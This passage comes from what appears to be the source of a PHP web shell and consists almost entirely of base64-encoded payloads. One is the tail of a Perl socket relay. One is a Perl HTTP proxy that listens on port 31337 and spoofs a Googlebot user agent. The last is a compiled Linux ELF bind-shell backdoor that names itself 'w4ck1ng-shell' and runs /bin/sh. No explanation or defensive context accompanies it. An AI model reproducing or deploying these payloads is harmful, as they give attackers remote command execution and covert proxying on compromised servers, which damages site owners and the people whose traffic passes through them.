3232yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
3233I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
3234m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
3235IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
3236lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
3237QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
3238CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
3239c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
3240NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
3241UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
3242DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
3243ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
32441ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";
3245$prx_pl="IyF1c3IvYmluL3BlcmwKdXNlIFNvY2tldDsKbXkgJHBvcnQgPSAkQVJHVlswXXx8MzEzMzc7Cm15ICRwcm90b2NvbCA9IGdldHByb3RvYn
3246luYW1lKCd0Y3AnKTsKbXkgJG15X2FkZHIgID0gc29ja2FkZHJfaW4gKCRwb3J0LCBJTkFERFJfQU5ZKTsKc29ja2V0IChTT0NLLCBBRl9JTkVULCBTT
32470NLX1NUUkVBTSwgJHByb3RvY29sKSBvciBkaWUgInNvY2tldCgpOiAkISI7CnNldHNvY2tvcHQgKFNPQ0ssIFNPTF9TT0NLRVQsIFNPX1JFVVNFQURE
3248UiwxICkgb3IgZGllICJzZXRzb2Nrb3B0KCk6ICQhIjsKYmluZCAoU09DSywgJG15X2FkZHIpIG9yIGRpZSAiYmluZCgpOiAkISI7Cmxpc3RlbiAoU09
3249DSywgU09NQVhDT05OKSBvciBkaWUgImxpc3RlbigpOiAkISI7CiRTSUd7J0lOVCd9ID0gc3ViIHsKY2xvc2UgKFNPQ0spOwpleGl0Owp9Owp3aGlsZS
3250AoMSkgewpuZXh0IHVubGVzcyBteSAkcmVtb3RlX2FkZHIgPSBhY2NlcHQgKFNFU1NJT04sIFNPQ0spOwpteSAoJGZpc3QsICRtZXRob2QsICRyZW1vd
3251GVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IGFuYWx5emVfcmVxdWVzdCgpOwppZihvcGVuX2Nvbm5lY3Rpb24gKFJFTU9URSwgJHJlbW90ZV9ob3N0LCAk
3252cmVtb3RlX3BvcnQpID09IDApIHsKY2xvc2UgKFNFU1NJT04pOwpuZXh0Owp9CnByaW50IFJFTU9URSAkZmlyc3Q7CnByaW50IFJFTU9URSAiVXNlci1
3253BZ2VudDogR29vZ2xlYm90LzIuMSAoK2h0dHA6Ly93d3cuZ29vZ2xlLmNvbS9ib3QuaHRtbClcbiI7CndoaWxlICg8U0VTU0lPTj4pIHsKbmV4dCBpZi
3254AoL1Byb3h5LUNvbm5lY3Rpb246LyB8fCAvVXNlci1BZ2VudDovKTsKcHJpbnQgUkVNT1RFICRfOwpsYXN0IGlmICgkXyA9fiAvXltcc1x4MDBdKiQvK
3255TsKfQpwcmludCBSRU1PVEUgIlxuIjsKJGhlYWRlciA9IDE7CndoaWxlICg8UkVNT1RFPikgewpwcmludCBTRVNTSU9OICRfOwppZiAoJGhlYWRlcikg
3256eyAgICAgCmlmICgkaGVhZGVyICYmICRfID1+IC9eW1xzXHgwMF0qJC8pIHsKJGhlYWRlciA9IDA7Cn0KfQp9CmNsb3NlIChSRU1PVEUpOwpjbG9zZSA
3257oU0VTU0lPTik7Cn0KY2xvc2UgKFNPQ0spOwpzdWIgYW5hbHl6ZV9yZXF1ZXN0IHsKbXkgKCRmaXN0LCAkdXJsLCAkcmVtb3RlX2hvc3QsICRyZW1vdG
3258VfcG9ydCwgJG1ldGhvZCk7CiRmaXJzdCA9IDxTRVNTSU9OPjsKJHVybCA9ICgkZmlyc3QgPX4gbXwoaHR0cDovL1xTKyl8KVswXTsKKCRtZXRob2QsI
3259CRyZW1vdGVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IAooJGZpcnN0ID1+IG0hKEdFVCkgaHR0cDovLyhbXi86XSspOj8oXGQqKSEgKTsKaWYgKCEkcmVt
3260b3RlX2hvc3QpIHsKY2xvc2UoU0VTU0lPTik7CmV4aXQ7Cn0KJHJlbW90ZV9wb3J0ID0gImh0dHAiIHVubGVzcyAoJHJlbW90ZV9wb3J0KTsKJGZpcnN
32610ID1+IHMvaHR0cDpcL1wvW15cL10rLy87CnJldHVybiAoJGZpcnN0LCAkbWV0aG9kLCAkcmVtb3RlX2hvc3QsICRyZW1vdGVfcG9ydCk7Cn0Kc3ViIG
32629wZW5fY29ubmVjdGlvbiB7Cm15ICgkaG9zdCwgJHBvcnQpID0gQF9bMSwyXTsKbXkgKCRkZXN0X2FkZHIsICRjdXIpOwppZiAoJHBvcnQgIX4gL15cZ
3263CskLykgewokcG9ydCA9IChnZXRzZXJ2YnluYW1lKCRwb3J0LCAidGNwIikpWzJdOwokcG9ydCA9IDgwIHVubGVzcyAoJHBvcnQpOwp9CiRob3N0ID0g
3264aW5ldF9hdG9uICgkaG9zdCkgb3IgcmV0dXJuIDA7CiRkZXN0X2FkZHIgPSBzb2NrYWRkcl9pbiAoJHBvcnQsICRob3N0KTsKc29ja2V0ICgkX1swXSw
3265gQUZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90b2NvbCkgb3IgZGllICJzb2NrZXQoKSA6ICQhIjsKY29ubmVjdCAoJF9bMF0sICRkZXN0X2FkZHIpIG
32669yIHJldHVybiAwOwokY3VyID0gc2VsZWN0KCRfWzBdKTsgIAokfCA9IDE7CnNlbGVjdCgkY3VyKTsKcmV0dXJuIDE7Cn0=";
3267$port_bind_bd_cs="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAA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L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A";
